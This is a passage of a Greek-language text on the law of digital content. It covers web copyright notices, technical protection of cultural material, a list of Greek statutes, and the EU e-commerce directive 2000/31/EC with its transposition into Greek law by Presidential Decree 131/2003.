ιστοσελίδα. Σ’ αυτές τις περιπτώσεις το σύμβολο © στο κάτω μέρος της ιστοσελίδας σας αφορά μόνο το περιεχόμενο που έχετε δημιουργήσει εσείς οι ίδιοι, και όχι τα λογότυπα που σας δόθηκαν για συνδέσμους ή τα «δωρεάν» γραφικά που δανειστήκατε για να διακοσμήσετε την ιστοσελίδα σας. Δημόσια χρήση ή/και υλικό άνευ πνευματικών δικαιωμάτων Τα αρχεία ήχου, οι γραφικές εικόνες (περιλαμβανομένων των γραφικών στο Διαδίκτυο, των φωτογραφιών, των λογοτύπων και άλλων υλικών ψηφιακής τέχνης), τα κείμενα, οι σελίδες HTML, τα javascript ή άλλο υλικό δημόσιας χρήσης δεν σας παραχωρούν το δικαίωμα να

διεκδικήσετε πνευματική ιδιοκτησία επειδή τα βρίσκετε και τα χρησιμοποιείτε. Η δήλωση για τα πνευματικά σας δικαιώματα αναφέρεται μόνο στο περιεχόμενο που έχετε δημιουργήσει εσείς οι ίδιοι, και όχι στο υλικό δημόσιας χρήσης που χρησιμοποιείτε. Σ’ αυτή την περίπτωση, δεν μπορείτε να παραπονεθείτε αν βρείτε το ίδιο υλικό που χρησιμοποιεί και κάποιος άλλος στην ιστοσελίδα του. Προσοχή: Εάν δεν είστε 100% σίγουροι ότι το υλικό προορίζεται για δημόσια χρήση (μερικές φορές οι «δωρεάν» προσφορές παρέχουν προστατευμένο υλικό), μην το χρησιμοποιήσετε. Η τοποθέτηση διακριτικών δηλώσεων που γράφουν «αν διαπιστώσετε ότι οτιδήποτε σ’ αυτή τη σελίδα ανήκει σε κάποιον άλλον επικοινωνήστε μαζί μου» ή «αν πιστεύετε ότι παραβιάζω τα πνευματικά δικαιώματα κάποιου άλλου ενημερώστε με» δεν έχουν αποτέλεσμα και δεν σας απαλλάσσουν από καμία ευθύνη. Προσέξτε γιατί ενδέχεται να παραβιάζετε τα πνευματικά δικαιώματα κάποιου άλλου. Χρήσεις Ψηφιακού Περιεχομένου Τόσο κατά την αξιοποίηση του ήδη διαθέσιμου ψηφιακού περιεχομένου, όσο και κατά την ψηφιοποίηση καινούργιου υλικού, υπάρχουν ορισμένοι περιορισμοί στο εύρος και τη φύση των ενεργειών που θεωρούνται αποδεκτές. Οι περιορισμοί τίθενται συνήθως από το νομικό πλαίσιο κάθε χώρας και έχουν σκοπό αφενός να προστατέψουν το ίδιο το περιεχόμενο και αφετέρου τα ηθικά και οικονομικά συμφέροντα των δημιουργών. Στη προσπάθεια αυτή σημαντικό ρόλο διεκδικούν οι τεχνολογικές εξελίξεις που αναζητούν τρόπους και προσφέρουν εργαλεία για την προστασία του ψηφιοποιημένου υλικού με τεχνολογικά μέσα. Προστασία των πνευματικών δικαιωμάτων ψηφιακού υλικού Η προστασία του ψηφιακού πολιτιστικού περιεχομένου από ανάρμοστες και μη εξουσιοδοτημένες χρήσεις, είναι μία από τις σημαντικότερες προδιαγραφές που θα πρέπει να πληροί ένα πολιτιστικό ίδρυμα και αφορά το σύνολο των δραστηριοτήτων που αναπτύσσει στο χώρο του Διαδικτύου. Η ανάπτυξη και η εγκατάσταση μηχανισμών προστασίας είναι ο πλέον ενδεδειγμένος τρόπος ελέγχου και παρακολούθησης της διάχυσης του υλικού στο Διαδίκτυο. Οι μηχανισμοί που ενσωματώνουν τεχνολογικά μέσα προστασίας λειτουργούν συμπληρωματικά με τα συστήματα διαχείρισης δικαιωμάτων, με στόχο τη θωράκιση των ηθικών και οικονομικών συμφερόντων τόσο των δημιουργών του περιεχομένου, όσο και των ανεξάρτητων δικαιούχων που έχουν συμβληθεί με το ίδρυμα. Κάθε οργανισμός που λειτουργεί ως διανομέας περιεχομένου, πριν αποφασίσει να προβάλλει το υλικό που διαθέτει στο Διαδίκτυο, θα πρέπει να διασφαλίσει μ κάθε νομικό και τεχνολογικό μέσο πως δεν θα χρησιμοποιηθεί καταχρηστικά από τους τελικού χρήστες, πλήττοντας τα ηθικά και οικονομικά δικαιώματα των δικαιούχων.

Όροι, Περιορισμοί και Συνθήκες Ένα σύνολο από όρους και περιορισμούς που διέπουν τη χρήση και την αξιοποίηση του περιεχομένου, μπορούν να λειτουργήσουν ως ένα επιπλέον επίπεδο προστασίας όταν πρόκειται για περιεχόμενο υψηλής αξίας ή περιεχόμενο που γίνεται διαθέσιμο μέσω CDROMs / DVDs. Πριν δοθεί έγκριση για την πρόσβαση, οι περιορισμοί και οι συνθήκες χρήσης του περιεχομένου θα πρέπει να γίνουν απόλυτα κατανοητές και σεβαστές από τον χρήστη. Πέρα από τους όρους και του περιορισμούς που δεσμεύουν τις δυνατότητες χρήσης και αξιοποίησης του περιεχομένου σύμφωνα με το νομικό πλαίσιο, το πολιτιστικό ίδρυμα μπορεί να επιβάλλει επιπλέον όρους και περιορισμούς που θα αφορούν αποκλειστικά το περιεχόμενο που φιλοξενείται από τον διαδικτυακό τόπο που διατηρεί.

Απόκρυψη μηνυμάτων στο ψηφιακό περιεχόμενο Η προστασία του περιεχομένου με χρήση της τεχνικής της ψηφιακής απόκρυψης μηνυμάτων, χρησιμοποιεί εξειδικευμένους μηχανισμούς που τοποθετούν κωδικοποιημένα μηνύματα μέσα στο ίδιο το ψηφιακό περιεχόμενο. Με αυτό τον τρόπο είναι δυνατή η παρακολούθηση της κίνησης του περιεχομένου στο διαδίκτυο ή ακόμα και η αποστολή πληροφοριών για τα στοιχεία των χρηστών που χρησιμοποιούν το περιεχόμενο. Σε περίπτωση παράνομης ή ανάρμοστης χρήσης, οι πληροφορίες που επιστρέφονται από το σύστημα παρακολούθησης του περιεχομένου μπορούν να χρησιμοποιηθούν ως στοιχεία για τη στήριξη της κατηγορίας και τη δίωξη των παραβατών.

Αναμετάδοση (Webcasting) οπτικοακουστικού υλικού μέσω Διαδικτύου Ο όρος Webcasting χρησιμοποιείται για να περιγράψει την αναμετάδοση σε πραγματικό χρόνο, οπτικοακουστικού υλικού με τη χρήση του διαδικτύου. Το λογισμικό που υποστηρίζει την αναμετάδοση μέσω διαδικτύου, επιτρέπει στους χρήστες να ακούν και να βλέπουν περιεχόμενο πολυμεσικής μορφής. Μέχρι πρόσφατα, το πολυμεσικό περιεχόμενο ήταν πολύ απαιτητικό σε διαδικτυακούς πόρους και επεξεργαστική ισχύ. Ωστόσο, οι τεχνολογικές εξελίξεις και η ραγδαία εξάπλωση των διαδικτυακών υποδομών, επιτρέπει στους κατόχους περιεχομένου να διανέμουν σε πραγματικό χρόνο το υλικό που διαθέτουν. Η συγκεκριμένη προσέγγιση υιοθετεί την τεχνική της συνεχής ροής πληροφορίας και έχει στόχο να αποτρέψει τους τελικούς χρήστες από την αντιγραφή του περιεχομένου σε κάποιο τοπικό μέσο αποθήκευσης με σκοπό την επαναχρησιμοποίηση του.

•

Σχέδιο ΠΔ για το ηλεκτρονικό εμπόριο,

•

ΠΔ 342/2002 για την διακίνηση εγγράφων με ηλεκτρονικό ταχυδρομείο μεταξύ των

δημόσιων υπηρεσιών, ΝΠΔΔ, ΟΤΑ ή μεταξύ αυτών και των φυσικών ή νομικών προσώπων ιδιωτικού δικαίου και ενώσεων φυσικών προσώπων, •

Ν. 3037/2002 για την απαγόρευση των παιγνίων και η από 23.09.2002 σχετική

διευκρινιστική ανακοίνωση του Υπουργείου Οικονομίας και Οικονομικών, •

ΠΔ 388/2002 για τις διαφορές που υπόκεινται στην μόνιμη διαιτησία της ΕΕΤΤ,

•

Κανονισμός ΕΕΤΤ 248/71 για την Παροχή Πιστοποίησης ηλεκτρονικής υπογραφής,

•

ΠΔ 150/2001 Προσαρμογή στην Οδηγία 99/93/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και

του Συμβουλίου σχετικά με το κοινοτικό πλαίσιο για ηλεκτρονικές υπογραφές, •

ΠΔ 39/2001 για την καθιέρωση μιας διαδικασίας πληροφόρησης στον τομέα των

τεχνικών προτύπων και προδιαγραφών και των κανόνων σχετικά με τις υπηρεσίες της κοινωνίας της πληροφορίας σε συμμόρφωση προς τις Οδηγίες 98/34/ΕΚ&98/48/ΕΚ. •

Σύσταση Γραφείου της Εθνικής Επιτροπής Ηλεκτρονικού Εμπορίου (ΦΕΚ 453/Τ. Β΄/4-

4-2000), •

Υπουργική Απόφαση αρ.1342/1997 για το Μητρώο Προμηθευτών του α.4 του Ν.

2251/1994, •

Ν. 2251/1994 για την προστασία του καταναλωτή και ειδικότερα α.4 για τις

συμβάσεις που συνάπτονται από απόσταση.

• Ν.3057/2002 (ΦΕΚ 239 Α΄/10 Οκτωβρίου 2002) - άρθρο 81 - Εναρμόνιση με την Οδηγία 2001/29/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 29ης Μαΐου 2001 για την εναρμόνιση ορισμένων πτυχών του δικαιώματος του δημιουργού και των συγγενικών δικαιωμάτων στην κοινωνία της πληροφορίας και άλλες διατάξεις", • Ν. 2819/2000 Άρθρο 7 . Εναρμόνιση με την Οδηγία 96/9/ΕΟΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 11ης Μαρτίου 1996 σχετικά με τη νομική προστασία των βάσεων δεδομένων. (Τροποποίηση του Ν. 2121/93), • Ν. 2557/1997/Α-271 Θεσμοί μέτρα και δράσεις πολιτιστικής ανάπτυξης (Τροποποίηση του Ν. 2121/93), • Ν. 2435/1996 (Τροποποίηση του Ν. 2121/93), • Ν. 2121/1993 Πνευματική ιδιοκτησία, συγγενικά δικαιώματα και πολιτιστικά θέματα. •

Ειδικά ποινικά αδικήματα του Π.Κ. σχετικά με τη χρήση ηλεκτρονικών υπολογιστών.

άρθρο 370Β ΠΚ, άρθρο 370 Γ ΠΚ, άρθρο 386 Α ΠΚ. Προστασία προσωπικών δεδομένων:

•

Ν. 2819/2000 α.8. Τροποποίηση του Ν. 2472/1997,

•

N.

2774/1999

Προστασία

δεδομένων

προσωπικού

χαρακτήρα

στον

τηλεπικοινωνιακό τομέα, •

Απόφαση 408/1998 Αρχής Προστασίας Δεδομένων Προσωπικού Χαρακτήρα.

Ενημέρωση υποκειμένων επεξεργασίας δεδομένων προσωπικού χαρακτήρα δια του τύπου. Κωδικοποίηση σε ενιαίο κείμενο, •

Ν. 2472/1997 για την Προστασία του ατόμου από την επεξεργασία δεδομένων

προσωπικού χαρακτήρα μετά τις σχετικές τροποποιήσεις από τους Ν. 2623/1998, 2703/1999, 2721/1999, 2819/2000 και 2915/2001.

•

ΠΔ 301/2002 για την προσαρμογή της ελληνικής νομοθεσίας προς τις διατάξεις της

Οδηγίας 1998/27/ΕΚ για τα ασφαλιστικά μέτρα στην προστασία των καταναλωτών το οποίο τροποποιεί τον Ν. 2251/1994, •

Υπουργική απόφαση Αριθ. Ζ1-178/2001 (ΦΕΚ 255 Β΄). Συναλλαγές που γίνονται με

κάρτες - Καταναλωτική πίστη, •

Ν. 2251/1994 (ΦΕΚ 191 Α΄/ 16 Νοεμβρίου 1994) - Προστασία των καταναλωτών,

όπως ισχύει μετά τις τροποποιήσεις του Ν. 2496/1997 (ΦΕΚ 87 Α΄), του Ν. 2741/1999 (ΦΕΚ Α-199), της κοινής υπουργικής απόφασης αριθ. Ζ1 - 496/7-12-2000 (ΦΕΚ 1545 Β΄/ 18-122000), του Ν. 3043/2002 (ΦΕΚ 192 Α΄/21-8-2002), της κοινής υπουργικής απόφασης αριθ. Ζ1 - 659/14-10-2002 (ΦΕΚ 1373 Β΄/ 25-10-2002) και του Π.Δ. 301/2002 (ΦΕΚ Α΄ 267/4-11-2002). Στις 4/5/2000 ψηφίσθηκε ομόφωνα από το Ευρωπαϊκό Κοινοβούλιο η οδηγία 2000/31/ΕΚ “για ορισμένες νομικές πτυχές των υπηρεσιών της κοινωνίας της πληροφορίας, ιδίως το ηλεκτρονικού εμπορίου, στην εσωτερική αγορά” η οποία είναι γνωστή ως “οδηγία για το ηλεκτρονικό εμπόριο”. Η οδηγία αυτή τέθηκε σε ισχύ στις 12/7/2000 με προθεσμία προσαρμογής την 30/1/2002. Η μεταφορά της στην ελληνική νομοθεσία έγινε καθυστερημένα - το Μάιο του 2003 με το Π.Δ. 131/2003. Με την οδηγία αυτή επιδιώχτηκε να καλυφθούν οριζόντια συγκεκριμένες πτυχές της οικονομικής δραστηριότητας των φορέων παροχής υπηρεσιών της κοινωνίας της πληροφορίας. Η Οδηγία δεν ρυθμίζει κάποιες συγκεκριμένες υπηρεσίες της κοινωνίας της πληροφορίας (όπως είναι η πώληση καταναλωτικών αγαθών, η πώληση λογισμικού, η παροχή φιλοξενίας στο διαδίκτυο κ.α. ) ούτε αναφέρεται σε ορισμένους εξειδικευμένους τομείς του δικαίου. Επίσης, πρέπει να σημειωθεί ότι η εν λόγω

οδηγία δεν αποσκοπεί στον καθορισμό κανόνων σχετικά με φορολογικές υποχρεώσεις, ούτε προδικάζει την κατάρτιση κοινοτικών πράξεων σχετικά με φορολογικές πτυχές του ηλεκτρονικού εμπορίου. Άλλα επίκαιρα ζητήματα του ηλεκτρονικού εμπορίου, όπως είναι η αντιπαράθεση για τα ονόματα χώρου (domain names) και την πνευματική ιδιοκτησία στο διαδίκτυο, δεν αντιμετωπίζονται από τη συγκεκριμένη οδηγία. Ο κοινοτικός νομοθέτης θέλησε να συντονίσει ορισμένες μόνο πτυχές του ηλεκτρονικού εμπορίου. Όσον αφορά τα υπόλοιπα θέματα έκρινε ότι οι ισχύουσες διατάξεις του εθνικού δικαίου μπορούν καταρχήν να εφαρμοστούν αναλογικά και στις ηλεκτρονικές συναλλαγές. Όσον αφορά τον ορισμό των υπηρεσιών της κοινωνίας της πληροφορίας, το άρθρο 2 σημείο (α) της Οδηγίας παραπέμπει στην παράγραφο 2 του άρθρου 1 της οδηγίας 98/34/ΕΚ για την καθιέρωση διαδικασίας πληροφόρησης στον τομέα των τεχνικών προτύπων και κανονισμών, όπως τροποποιήθηκε από την οδηγία 98/48/ΕΚ για τη νομική προστασία των υπηρεσιών που βασίζονται ή συνίστανται στην παροχή πρόσβασης υπό όρους. Σύμφωνα με τον παραπάνω ορισμό «υπηρεσία της κοινωνίας της πληροφορίας είναι κάθε υπηρεσία που συνήθως παρέχεται εξ αποστάσεως έναντι αμοιβής, μέσω εξοπλισμών ηλεκτρονικής επεξεργασίας (συμπεριλαμβανομένης της ψηφιακής συμπίεσης) και αποθήκευσης δεδομένων και κατόπιν ατομικού αιτήματος». Όπως αναφέρεται στην αιτιολογική σκέψη 18 της οδηγίας για το ηλεκτρονικό εμπόριο, οι υπηρεσίες της κοινωνίας της πληροφορίας καλύπτουν μεγάλο φάσμα οικονομικών δραστηριοτήτων σε απευθείας σύνδεση (on line). Καλύπτουν ακόμη και υπηρεσίες που δεν αμείβονται από τον αποδέκτη τους, αλλά συνιστούν οικονομικές δραστηριότητες, όπως είναι η παροχή πληροφοριών on line, οι εμπορικές επικοινωνίες, οι υπηρεσίες αναζήτησης, πρόσβασης και ανάκτησης δεδομένων κ.α.. Ωστόσο, ο εν λόγω ορισμός δεν καλύπτει δραστηριότητες όπως είναι οι υπηρεσίες off line, η παράδοση των αγαθών κ.α. Η Ευρωπαϊκή Ένωση εκ της αποστολής της όφειλε να άρει τυχόν εμπόδια στην αύξηση των ηλεκτρονικών συναλλαγών, όπως είναι η έλλειψη ασφάλειας δικαίου λόγω της εφαρμογής διαφορετικών εθνικών διατάξεων από κράτος σε κράτος, και να δημιουργήσει αίσθημα εμπιστοσύνης τόσο στους επιχειρηματίες όσο και στους καταναλωτές χωρίς όμως να προβεί και στην εναρμόνιση του δικαίου αυτού καθε αυτό. Στόχος της οδηγίας για το ηλεκτρονικό εμπόριο είναι «η ομαλή λειτουργία της εσωτερικής αγοράς με την εξασφάλιση της ελεύθερης κυκλοφορίας των υπηρεσιών της κοινωνίας της πληροφορίας μεταξύ των κρατών μελών (άρθρο 1 § 1) με απώτερο σκοπό την προώθηση της οικονομικής ανάπτυξης και τη συμβολή στη δημιουργία νέων θέσεων εργασίας».

Προκειμένου να επιτευχθεί η καλλιέργεια κλίματος εμπιστοσύνης αναφορικά με τις ηλεκτρονικές συναλλαγές, η οδηγία για το ηλεκτρονικό εμπόριο έθεσε στις εθνικές αρχές κάθε κράτους-μέλους της Ευρωπαϊκής Ένωσης δύο υποχρεώσεις θεμελιώδους σημασίας. Α) Τα κράτη-μέλη όφειλαν να προχωρήσουν στη νομοθετική ρύθμιση ορισμένων θεμάτων ώστε να υπάρξει εναρμόνιση των νομοθεσιών των κρατών μελών της Ευρωπαϊκής Ένωσης (άρθρο 1 § 2). Τα νομικά ζητήματα που στοχεύει να εναρμονίσει η οδηγία αφορούν την εσωτερική αγορά, την εγκατάσταση των φορέων παροχής υπηρεσιών, τη σύναψη συμβάσεων με ηλεκτρονικά μέσα, τις εμπορικές επικοινωνίες, την ευθύνη των μεσαζόντων κατά την παροχή μιας υπηρεσίας της κοινωνίας της πληροφορίας, την πληροφόρηση των χρηστών, τους κώδικες δεοντολογίας, τα συστήματα εξώδικης επίλυσης των διαφορών, τα μέσα έννομης προστασίας και τη συνεργασία μεταξύ των κρατών-μελών της Ευρωπαϊκής Ένωσης για την αποτελεσματική εφαρμογή της οδηγίας Η οδηγία για το ηλεκτρονικό εμπόριο δεν αποσκοπεί στην πλήρη εναρμόνιση αλλά μόνο στην προσέγγιση των εθνικών νομοθεσιών των κρατών-μελών, όσον αφορά τα ζητήματα που πραγματεύεται. Η αιτιολογική σκέψη 6 του προοιμίου της οδηγίας αναφέρει ρητά την εφαρμογή της αρχής της επικουρικότητας. Σύμφωνα με την αρχή αυτή η Κοινότητα παρεμβαίνει επικουρικά μόνο στους τομείς που κρίνεται απαραίτητη η εναρμόνιση των εθνικών νομοθεσιών προκειμένου να λειτουργήσει ελεύθερα η εσωτερική αγορά. Επιπλέον, σύμφωνα με την αρχή της αναλογικότητας, τα μέτρα που προβλέπει η οδηγία περιορίζονται στο ελάχιστο αναγκαίο για την επίτευξη του στόχου της ομαλής λειτουργίας της εσωτερικής αγοράς. Β) Δεύτερη υποχρέωση των κρατών-μελών αποτελεί η μέριμνα “ώστε το νομικό τους σύστημα να επιτρέπει τη σύναψη συμβάσεων με ηλεκτρονικά μέσα” (άρθρ. 9 § 1).11 Στην αιτιολογική σκέψη 10 της οδηγίας για το ηλεκτρονικό εμπόριο αναφέρεται ότι προκειμένου να εξασφαλιστεί ένας χώρος χωρίς εθνικά σύνορα για το ηλεκτρονικό εμπόριο η οδηγία οφείλει να εξασφαλίζει ταυτόχρονα την υψηλού επιπέδου προστασία των στόχων γενικού συμφέροντος, ιδίως την προστασία των ανηλίκων και της ανθρώπινης αξιοπρέπειας, την προστασία του καταναλωτή και της δημόσιας υγείας. Το άρθρο 1 § 3 της οδηγίας ορίζει ότι η Οδηγία “δεν θίγει το επίπεδο προστασίας, ιδίως της δημόσιας υγείας και των συμφερόντων του καταναλωτή, όπως θεσπίζεται σε κοινοτικές πράξεις και στις εθνικές νομοθετικές πράξεις, που εκδόθηκαν για την εφαρμογή τους, στο μέτρο που δεν περιορίζεται έτσι η ελευθερία παροχής υπηρεσιών της κοινωνίας της πληροφορίας”. Με την παράγραφο αυτή εξασφαλίζεται η θεμελιώδης αρχή του κοινοτικού

κεκτημένου, δηλαδή, οι διάφορες κοινοτικές οδηγίες που αφορούν την προστασία του καταναλωτή και αποτελούν κοινοτικό κεκτημένο θα εφαρμόζονται και στις ηλεκτρονικές συναλλαγές. Η υποχρέωση να υπάρχει υψηλό επίπεδο προστασίας του καταναλωτή ισχύει “στο μέτρο που δεν περιορίζεται έτσι η ελευθερία παροχής υπηρεσιών της κοινωνίας της πληροφορίας”. Επομένως, παρά το γεγονός ότι τόσο η προστασία του καταναλωτή όσο και η ελευθερία παροχής υπηρεσιών της κοινωνίας της πληροφορίας αποτελούν βασικές επιδιώξεις που θέτει η οδηγία, στην περίπτωση που συγκρουστούν μεταξύ τους, η διαφύλαξη της ελεύθερης κυκλοφορίας των υπηρεσιών της κοινωνίας της πληροφορίας πρέπει να υπερισχύσει της εξασφάλισης της προστασίας του καταναλωτή. Το άρθρο 3 της οδηγίας, που αφορά την εσωτερική αγορά προβλέπει ότι κάθε κράτος- μέλος μεριμνά ώστε οι υπηρεσίες της κοινωνίας της πληροφορίας που παρέχει ένας φορέας εγκατεστημένος στο έδαφός του να τηρούν τις ισχύουσες διατάξεις του, οι οποίες εμπίπτουν στο συντονισμένο τομέα (άρθρο 3 § 1). Τα κράτη-μέλη δεν μπορούν, για λόγους που αφορούν το συντονισμένο τομέα, να περιορίσουν την ελεύθερη κυκλοφορία των υπηρεσιών της κοινωνίας της πληροφορίας, οι οποίες προέρχονται από άλλο κράτος μέλος (άρθρο 3 § 2). Ωστόσο, κατά παρέκκλιση μπορούν να περιορίσουν την παραπάνω ελευθερία εφόσον τα μέτρα που θα ληφθούν αφορούν τη δημόσια τάξη (ιδίως πρόληψη, έρευνα, διαπίστωση και δίωξη εγκλημάτων, στα οποία περιλαμβάνονται η προστασία των ανηλίκων και η καταπολέμηση της πρόκλησης μίσους λόγω φυλής, φύλου, θρησκείας ή εθνικότητας, καθώς και οι παραβιάσεις της ανθρώπινης αξιοπρέπειας που αφορούν μεμονωμένα πρόσωπα), την προστασία της δημόσιας υγείας, τη δημόσια ασφάλεια, συμπεριλαμβανομένης της προάσπισης της εθνικής ασφάλειας και άμυνας, και την προστασία του καταναλωτή περιλαμβανομένου και του επενδυτή. Τα κράτη-μέλη οφείλουν να εξασφαλίζουν ότι η ανάληψη και η άσκηση δραστηριότητας φορέα παροχής υπηρεσίας της κοινωνίας της πληροφορίας δεν μπορεί να υπαχθεί σε καθεστώς προηγούμενης αδείας ή σε οποιαδήποτε άλλη προϋπόθεση ισοδύναμου αποτελέσματος (άρθρο 4 § 1). Το άρθρο 5 της οδηγίας για το ηλεκτρονικό εμπόριο καθορίζει τις γενικές πληροφορίες που πρέπει να παρέχονται από τους φορείς παροχής υπηρεσιών. Τα άρθρα 6 και 7 θεσπίζουν υποχρεώσεις για το περιεχόμενο των εμπορικών επικοινωνιών, ένα ιδιαίτερα σοβαρό ζήτημα που τίθεται σε σχέση με τις δικτυακές συναλλαγές και το οποίο θα αναπτυχθεί στο πλαίσιο της αναφοράς στο ελληνικό δίκαιο.

Το άρθρο 16 πραγματεύεται τους κώδικες δεοντολογίας που καλούνται οι ενώσεις επαγγελματιών και καταναλωτών να καταρτίσουν, προκειμένου να εφαρμοστεί με ορθό τρόπο η οδηγία, ενώ το άρθρο 17 υποχρεώνει τα κράτη-μέλη να θεσπίσουν μηχανισμούς εξωδικαστικού διακανονισμού διαφορών στις σχέσεις φορέων και αποδεκτών υπηρεσιών της κοινωνίας της πληροφορίας. Σύμφωνα με το άρθρο 18 τα κράτη-μέλη οφείλουν να παρέχουν αποτελεσματική δικαστική προστασία όσον αφορά στις υπηρεσίες της κοινωνίας της πληροφορίας. Η δικαστική προστασία

είναι

αποτελεσματική,

όταν

επιτρέπεται

η

ταχεία

λήψη

μέτρων,

συμπεριλαμβανομένων των προσωρινών, προκειμένου να παύσει οποιαδήποτε παράβαση και να προλαμβάνεται περαιτέρω ζημία συμφερόντων. Στο πλαίσιο αυτό τυγχάνει εφαρμογής και η οδηγία 98/27/ΕΚ, η οποία παρέχει μηχανισμό αγωγών παραλείψεως με σκοπό την προστασία των συλλογικών συμφερόντων των καταναλωτών. Ένα σημαντικό πεδίο που ρυθμίζει η Οδηγία είναι αυτό της ευθύνης των μεσαζόντων παροχής υπηρεσιών (άρθρα 12-15 της οδηγίας). Η βασική αρχή συνοψίζεται στη ρύθμιση του άρθρου 15: Τα κράτη-μέλη δεν επιβάλλουν στους φορείς παροχής υπηρεσιών διαδικτύου γενική υποχρέωση ελέγχου των πληροφοριών που μεταδίδουν ή αποθηκεύουν, ούτε γενική υποχρέωση δραστήριας αναζήτησης γεγονότων ή περιστάσεων που δείχνουν ότι πρόκειται για παράνομες δραστηριότητες (άρθρο 15 § 1). Ο φορέας παροχής υπηρεσιών δεν ευθύνεται για την απλή μετάδοση πληροφοριών ή την παροχή πρόσβασης στο δίκτυο επικοινωνιών, εφόσον ο ίδιος δεν αποτελεί την αφετηρία της μετάδοσης των πληροφοριών, δεν επιλέγει τον αποδέκτη της μετάδοσης και δεν επιλέγει και δεν τροποποιεί τις μεταδιδόμενες πληροφορίες. Οι δραστηριότητες μετάδοσης και παροχής πρόσβασης περιλαμβάνουν την αυτόματη, ενδιάμεση και προσωρινή αποθήκευση των μεταδιδόμενων πληροφοριών, στο βαθμό που η αποθήκευση εξυπηρετεί αποκλειστικώς την πραγματοποίηση της μετάδοσης στο δίκτυο επικοινωνιών και η διάρκειά της δεν υπερβαίνει το χρόνο που είναι ευλόγως απαραίτητος για τη μετάδοση. Ο φορέας παροχής δεν ευθύνεται ούτε για την αυτόματη, ενδιάμεση και προσωρινή αποθήκευση των πληροφοριών, η οποία γίνεται με αποκλειστικό σκοπό να καταστεί αποτελεσματικότερη η μεταγενέστερη μετάδοση των πληροφοριών μετά από αίτηση άλλων αποδεκτών της υπηρεσίας (caching), υπό ορισμένους όρους. Ο φορέας τέλος δεν ευθύνεται ούτε και στις περιπτώσεις hosting, δηλαδή “φιλοξενίας” αποθήκευσης πληροφοριών μετά από αίτηση αποδέκτη της υπηρεσίας, πάλι κάτω από ορισμένες προϋποθέσεις (άρθρο 14).

Η ελληνική νομοθεσία προσαρμόστηκε στην οδηγία για το ηλεκτρονικό εμπόριο με το Προεδρικό Διάταγμα 131/2003 (“Προσαρμογή στην οδηγία 2000/31 του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου σχετικά με ορισμένες νομικές πτυχές των υπηρεσιών της κοινωνίας της πληροφορίας, ιδίως του ηλεκτρονικού εμπορίου στην εσωτερική αγορά (Οδηγία για το ηλεκτρονικό εμπόριο)”). Αν και στην οδηγία δεν περιλαμβάνεται, ορισμός των εν λόγω υπηρεσιών αλλά παραπομπή στις οδηγίες 98/34/ΕΚ & 98/48/ΕΚ ο Έλληνας νομοθέτης με το άρθρο 1 του Π.Δ. 131/2003 ορίζει ως υπηρεσία της κοινωνίας της πληροφορίας Οι υπηρεσίες της κοινωνίας της πληροφορίας αφορούν και καλύπτουν ένα ευρύ φάσμα οικονομικών δραστηριοτήτων εφόσον πληρούνται οι παρακάτω προϋποθέσεις: Α) Πρώτη προϋπόθεση για να υφίσταται τέτοια υπηρεσία κοινωνίας της πληροφορίας είναι να πραγματοποιείται αυτή από απόσταση, χωρίς ταυτόχρονη φυσική παρουσία στον ίδιο χώρο του φορέα παροχής της και του αποδέκτη της. Β) Η παροχή της υπηρεσίας πρέπει να γίνεται εξ ολοκλήρου μέσω εξοπλισμών ηλεκτρονικής επεξεργασίας (συμπεριλαμβανομένης της ψηφιακής συμπίεσης) και αποθήκευσης δεδομένων, από το σημείο εκκίνησής της μέχρι το σημείο λήψης της. Σύμφωνα με τα οριζόμενα στο παράρτημα της οδηγίας 98/34/ΕΚ “για την καθιέρωση μιας διαδικασίας πληροφόρησης στον τομέα των τεχνικών προτύπων και κανονισμών”, δεν θεωρούνται ότι παρέχονται ηλεκτρονικά οι υπηρεσίες που παρέχονται κατά την χρησιμοποίηση μηχανημάτων που λειτουργούν αυτόματα όπως όταν πρόκειται για είσπραξη χρημάτων από αυτόματη ταμειολογιστική μηχανή τράπεζας (ΑΤΜ) ή όταν πρόκειται για μηχάνημα αυτόματης αγοράς εισιτηρίων. Καθώς δεν παρέχονται μέσω εξοπλισμών ηλεκτρονικής επεξεργασίας και αποθήκευσης, δεν θεωρούνται ως υπηρεσίες κοινωνίας της πληροφορίας και εξαιρούνται από την εφαρμογή του Π.Δ. 131/2003 οι υπηρεσίες του αυτόματου τηλεφωνητή, οι υπηρεσίες από την χρησιμοποίηση του fax ή του telex, η αυτόματη παροχή πληροφοριών ή συμβουλών μέσω του τηλεφώνου (για τα κινηματογραφικά έργα της εβδομάδας, για το μετεωρολογικού δελτίου κ.τ.λ.) ή άμεση διαφήμιση μέσω του τηλεφώνου κ.α.. Γ) Ακόμη, η παροχή της υπηρεσίας πρέπει να γίνεται κατόπιν ατομικού αιτήματος του αποδέκτη. Δεν θεωρούνται συνεπώς υπηρεσίες της κοινωνίας της πληροφορίας οι υπηρεσίες που παρέχονται με τη μεταβίβαση δεδομένων συγχρόνως για έναν απεριόριστο αριθμό αποδεκτών χωρίς να έχει προηγηθεί ατομικό αίτημά τους, όπως π.χ. οι κλασικές τηλεοπτικές υπηρεσίες.

Δ) Κάθε υπηρεσία της κοινωνίας της πληροφορίας παρέχεται συνήθως έναντι αμοιβής. Ωστόσο ως υπηρεσίες της κοινωνίας της πληροφορίας θεωρούνται και οι υπηρεσίες που παρέχονται έναντι έμμεσης αμοιβής, δηλ. υπηρεσίες που δεν αμείβονται από τον αποδέκτη τους αλλά συνιστούν ωστόσο οικονομική δραστηριότητα. Τέτοια περίπτωση είναι η δωρεάν παροχή μιας υπηρεσίας, η οποία όμως συνδυάζεται με διαφήμιση. Μία ιστοσελίδα μπορεί επίσης να συνιστά καθεαυτή υπηρεσία εφόσον το περιεχόμενό της συνίσταται σε διαφήμιση του προσώπου, που παρέχει τις υπηρεσίες, για όποιον επισκέπτεται την ιστοσελίδα. Πρόσωπα, των οποίων η δραστηριότητα ρυθμίζεται από το Π.Δ. 131/2003 είναι αφενός, ο φορέας παροχής υπηρεσιών της κοινωνίας της πληροφορίας και αφετέρου, ο αποδέκτης των υπηρεσιών αυτών, είτε ενεργεί με την ιδιότητα του καταναλωτή είτε όχι. Φορέας παροχής υπηρεσιών θεωρείται κάθε φυσικό ή νομικό πρόσωπο που παρέχει μια υπηρεσία της κοινωνίας της πληροφορίας (άρθρο 1 σημείο β). Συνεπώς θα μπορούσαμε να συμπεράνουμε ότι ο φορέας παροχής 